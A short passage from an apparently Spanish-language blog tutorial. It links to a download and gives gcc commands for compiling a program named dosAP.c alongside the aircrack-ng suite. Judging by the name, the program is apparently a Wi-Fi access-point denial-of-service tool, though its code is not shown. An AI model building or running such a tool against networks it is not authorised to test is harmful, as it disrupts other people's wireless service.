http://www.megaupload.com/?d=DQ5DD6YS
Y como siempre, para no tener problemas de compilación lo guardamos junto con el código fuente de la suite de aircrack-ng, con el nombre dosAP.c y lo compilamos:
- Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o dosAP dosAP.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude dosAP.o common.o crypto.o -o dosAP -Losdep -losdep -lssl -lcrypto
Comments (0)
Publicar un comentario